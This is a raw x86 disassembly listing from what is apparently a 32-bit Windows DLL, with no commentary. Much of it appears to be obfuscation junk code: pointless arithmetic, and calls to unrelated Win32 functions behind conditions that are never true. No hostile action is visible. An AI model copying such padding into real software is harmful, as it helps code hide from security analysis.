cmp dword [ebp - 0x60c], eax
jne 0x10030391
mov dword [ebp - 0x38], 7
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xfffffffd
jne 0x10030402
jmp 0x100302dd
xor eax, eax
mov dword [ebp - 0x4c4], edx
mov dword [ebp - 0x4c0], edx
mov dword [ebp - 0x4bc], edx
mov dword [ebp - 0x4b8], edx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10030315
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x131c], 0xc7527853
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100302fd
xor eax, eax
cmp dword [ebp - 0x4b8], eax
jne 0x10030322
cmp dword [ebp - 0x18], eax
je 0x10030324
mov eax, ebx
mov dword [ebp - 0x60c], eax
cmp dword [ebp - 0x4bc], eax
jle 0x10030369
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x10030343
cmp dword [ebp - 0x4c4], eax
je 0x10030343
mov eax, ebx
add eax, 0xffff0002
mov dword [ebp - 0x1318], eax
jne 0x10030360
xor eax, eax
cmp dword [ebp - 0x4bc], eax
jne 0x10030360
mov eax, dword [ebp - 0x4c0]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x4bc]
xor eax, eax
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x10030382
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x80254f8
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffffd
je 0x100302db
jmp 0x10030402
mov dword [ebp - 0x20], 5
mov ecx, 0x924f63ab
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x2c], 2
imul eax, dword [ebp - 0x20], 0xffff8c71
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x18]
sub ecx, eax
xor eax, eax
add ecx, dword [ebp - 0x38]
jne 0x100303c4
mov ecx, ebx
cmp dword [ebp - 0x20], eax
je 0x100303c6
mov ecx, eax
mov eax, dword [ebp - 0x20]
imul eax, ecx
sub eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
imul eax, dword [ebp - 0x20]
imul esi, eax, 0xffff
add esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp eax, 0x12a30a4c
mov eax, dword [ebp - 0x20]
setl cl
xor edx, edx
cmp ecx, eax
setge dl
sub edx, esi
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x10]
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x1003041e
push eax
push 0x195b
push eax
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
xor eax, eax
mov dword [ebp - 0x30], 0x6e30f4ae
or ecx, 0xffffffff
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 4
jge 0x10030449
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x14b8], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10030434
xor eax, eax
mov dword [ebp - 0x20], 0x13
cmp dword [ebp - 0x20], 0xfffffff9
jg 0x100304a0
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jne 0x1003049d
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp ecx, eax
push 0
setle dl
xor ebx, ebx
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
cmp edx, eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
setl bl
xor edx, edx
cmp ecx, eax
pop eax
setl dl
imul ebx, edx
push 1
mov dword [ebp - 0x14b8], ebx
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff9
pop ebx
jle 0x10030456
or ecx, 0xffffffff
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xfffffff2
push 2
pop esi
jne 0x1003051d
mov dword [ebp - 0x14], 0x17633efc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x100304d9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd84], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100304c1
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x100304f9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd84], 0xfffffff7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100304e1
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x10030511
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff2
je 0x100304b2
or ecx, 0xffffffff
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x20], 0xfffffffd
mov dword [ebp - 0x38], 7
mov dword [ebp - 0x38], 0xf7e44142
mov dword [ebp - 0x18], 0xfff7
mov dword [ebp - 0x10], ecx
mov ecx, edi
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x38], ebx
imul eax, dword [ebp - 0x38], 0xf1fd
sub ecx, eax
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setl dl
xor ecx, ecx
imul edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, 0xffffffff
setge al
xor edx, edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
add eax, 0xe584
cmp eax, 0x8cb6
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
cmp eax, edx
setle cl
xor eax, eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x10], eax
jmp 0x100305d2
mov dword [ebp - 0x38], 0x4179
inc dword [ebp - 0x38]
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x100305cf
push 0x11e7
push eax
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor eax, eax
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xfffffff8
je 0x100305ae
mov dword [ebp - 0x30], 0xd47ebdcf
lea ecx, [ebp - 0xba8]
mov dword [ebp - 0x18], 6
push 3
call fcn.100177e6
mov byte [ebp - 4], 0x1f
xor eax, eax
mov dword [ebp - 0x44], 0xfffffff8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1003061e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x760], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10030609
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1003063a
push dword [ebp - 0x10]
lea ecx, [ebp - 0xba8]
call fcn.10017853
mov dword [eax], 0x2d2c87a7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10030623
mov eax, dword [ebp - 0x760]
xor edx, edx
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x760]
cmp ecx, eax
lea ecx, [ebp - 0xba8]
setge dl
xor eax, eax
cmp edx, 0xcb8ce3e
setne al
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
xor eax, eax
push eax
call fcn.10017853
cmp dword [eax], 0x9cf
je 0x1003068a
xor eax, eax
cmp dword [ebp - 0x75c], eax
je 0x1003068c
mov eax, ebx
add eax, 0xffff4320
lea ecx, [ebp - 0xba8]
sub eax, dword [ebp - 0x758]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x1d
call fcn.1001784e
mov dword [ebp - 0x38], 0xa597
xor eax, eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x100306da
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3c4], 0xfffffff8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100306c2
xor eax, eax
mov dword [ebp - 0x3c4], eax
jmp 0x1003073e
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10030709
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x61c], 0x124f84b8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100306f1
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jg 0x10030738
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0x61c]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x61c], ecx
mov eax, dword [ebp - 0x618]
mov dword [ebp - 0x44], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x10030711
xor eax, eax
dec dword [ebp - 0x3c4]
cmp dword [ebp - 0x3c4], 0xffffffe5
jg 0x100306e2
mov dword [ebp - 0x4c], 0xac691c6c
mov dword [ebp - 0x44], 0xd62e652
mov dword [ebp - 0x14], eax
jmp 0x1003076b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x53c], 0xad313dd3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1003075a
mov dword [ebp - 0x534], 0xffffffe3
jmp 0x100307bc